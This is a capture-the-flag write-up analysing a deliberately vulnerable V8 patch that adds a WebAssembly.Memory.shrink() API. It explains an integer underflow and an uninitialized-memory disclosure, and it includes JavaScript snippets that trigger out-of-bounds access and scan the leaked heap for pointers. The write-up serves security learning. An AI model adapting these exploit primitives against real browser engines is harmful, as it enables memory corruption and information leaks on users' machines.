1. The Challenge
Attached files:
➜ Baby_WASM git:(main) ✗ ls
description.txt download_d8.sh libc.so.6 v8.diff v8.patch v8.release v8.release.tar.gzThere's a diff file and a patch file. Analyzing these two is necessary to figure out what the vulnerability is.
We're given a patched V8 build (v8.release), libc.so.6, and a diff showing exactly what changed in the engine. The task is to understand and exploit the vulnerability introduced by the patch.
2. Patch Analysis
The diff modifies V8's WebAssembly subsystem to add a WebAssembly.Memory.shrink() API. It mirrors the existing grow() call, but shrinks the backing store instead of growing it. Reading the diff closely reveals a fatal bug.
New Interrupt Flag
- V(WASM_CODE_GC, WasmCodeGC, 7)
+ V(WASM_CODE_GC, WasmCodeGC, 7) \
+ V(SHRINK_SHARED_MEMORY, ShrinkSharedMemory, 8)A new interrupt flag SHRINK_SHARED_MEMORY is registered, mirroring the existing GROW_SHARED_MEMORY.
New Flag Definition
+DEFINE_BOOL(wasm_shrink_shared_memory, true,
+ "allow shrinking shared WebAssembly memory objects")Shrinking shared memory is enabled by default.
ShrinkWasmMemoryInPlace
base::Optional<size_t> BackingStore::ShrinkWasmMemoryInPlace(
Isolate* isolate, size_t delta_bytes) {
size_t old_length = byte_length_.load(std::memory_order_relaxed);
size_t new_length = 0;
while (true) {
new_length = old_length - delta_bytes;
if (byte_length_.compare_exchange_weak(old_length, new_length,
std::memory_order_acq_rel)) {
break;
}
}
...
return {old_length};
}This CAS loop atomically decrements byte_length_ by delta_bytes. There is no bounds check at all -- if delta_bytes > old_length, new_length underflows (unsigned underflow) into an enormous value.
CopyWasmMemoryOnShrink
std::unique_ptr<BackingStore> BackingStore::CopyWasmMemoryOnShrink(
Isolate* isolate, size_t new_size) {
if (is_wasm_memory_) {
BackingStore::ShrinkWasmMemoryInPlace(isolate, this->byte_length() - new_size);
auto new_backing_store = BackingStore::Allocate(
isolate, new_size, ..., InitializedFlag::kUninitialized);
if (!new_backing_store) { return {}; }
return new_backing_store; // <-- allocates a new store of size new_size
} else {
bool result = BackingStore::Reallocate(isolate, new_size);
...
}
return std::unique_ptr<BackingStore>(this);
}For non-shared WASM memory, CopyWasmMemoryOnShrink first calls ShrinkWasmMemoryInPlace to update byte_length_, then allocates a new backing store of size new_size marked as kUninitialized. The existing data is never copied into the new store.
WasmMemoryObject::Shrink -- the Core Bug
int32_t WasmMemoryObject::Shrink(Isolate* isolate,
Handle<WasmMemoryObject> memory_object,
uint32_t bytes) {
Handle<JSArrayBuffer> old_buffer(memory_object->array_buffer(), isolate);
...
size_t old_size = old_buffer->byte_length();
// Non-shared path:
size_t new_size = old_size - bytes;
std::unique_ptr<BackingStore> new_backing_store =
backing_store->CopyWasmMemoryOnShrink(isolate, new_size);
...
Handle<JSArrayBuffer> new_buffer =
isolate->factory()->NewJSArrayBuffer(std::move(new_backing_store));
memory_object->update_instances(isolate, new_buffer);
return static_cast<int32_t>(old_size); // returned in bytes (not pages!)
}Two bugs in the non-shared path:
- No lower-bound check on
bytes:new_size = old_size - bytesunderflows ifbytes > old_size - Uninitialized memory disclosure: since
CopyWasmMemoryOnShrinkallocates the new backing store askUninitialized, the resultingArrayBuffercan contain arbitrary V8 process heap data
On top of that, the ArrayBuffer.detach() guard has been commented out:
- CHECK_IMPLIES(force_for_wasm_memory, backing_store->is_wasm_memory());
+ // CHECK_IMPLIES(force_for_wasm_memory, backing_store->is_wasm_memory());This allows forcibly detaching a non-WASM array buffer, removing a safety assertion.
3. Approach
Reading Uninitialized Heap Memory
The most direct primitive:
- Allocate WASM memory at the initial size (e.g. 1 page = 64 KiB)
- Call
memory.shrink(N)(N < current_byte_length) - The returned
ArrayBuffer(memory.buffer) points to an uninitializednew_size-byte region
const mem = new WebAssembly.Memory({ initial: 1 }); // 64 KiB
mem.shrink(0x1000); // shrink by 4 KiB -> new buffer is 60 KiB, uninitialized
const view = new Uint8Array(mem.buffer);
// view now exposes raw heap bytes -- a potential info leakOut-of-Bounds Access via Integer Underflow
Shrinking by more than the current size:
const mem = new WebAssembly.Memory({ initial: 1 });
// byte_length = 0x10000 (65536)
mem.shrink(0x10001); // new_size underflows to roughly 2^64 - 1byte_length_ wraps around to a huge value. Accessing the buffer after this allows reading or writing far outside the original allocation.
Exploit Flow
// 1. Create WASM memory
const mem = new WebAssembly.Memory({ initial: 4 }); // 4 pages = 256 KiB
// 2. Write a known pattern to identify the buffer in memory
const u32 = new Uint32Array(mem.buffer);
for (let i = 0; i < u32.length; i++) u32[i] = 0xdeadbeef;
// 3. Trigger shrink -- the new buffer is uninitialized and may contain V8 heap pointers
mem.shrink(0x1000);
// 4. Scan the new buffer for interesting values (pointers, flags)
const leak = new BigUint64Array(mem.buffer);
for (let i = 0; i < leak.length; i++) {
const v = leak[i];
if (v > 0x7f0000000000n && v < 0x7fffffffffffffn) {
console.log(`[+] potential pointer at index ${i}: 0x${v.toString(16)}`);
}
}4. Key Concepts
The WebAssembly Memory Model
WASM linear memory is a contiguous ArrayBuffer measured in pages (1 page = 64 KiB). The grow() API is already part of the WASM spec, but shrink() doesn't exist in the standard -- it's an addition specific to this challenge.
Shared vs. Non-Shared Memory
- Shared memory (
{ shared: true }) -- backed by aSharedArrayBuffer, shareable across workers. Shrink-in-place atomically updatesbyte_length_but can't reallocate. - Non-shared memory -- a standard
ArrayBuffer. In the patch, shrinking allocates a new, uninitialized backing store, which is where the memory disclosure vulnerability comes from.
kUninitialized Allocation
InitializedFlag::kUninitialized skips the memset that zeroes out the backing store. The allocator may return a region previously used by another V8 object, exposing raw bytes through the WASM buffer.
5. Summary
The baby WASM challenge introduces two vulnerabilities in the custom WebAssembly.Memory.shrink() API:
- No lower-bound check: integer underflow in the byte-length CAS loop
- Uninitialized backing store: heap memory disclosure through the resulting
ArrayBufferon the non-shared code path
This challenge illustrates a common bug class in custom memory-management extensions to JavaScript engines: missing bounds checks combined with skipping initialization of newly exposed memory regions.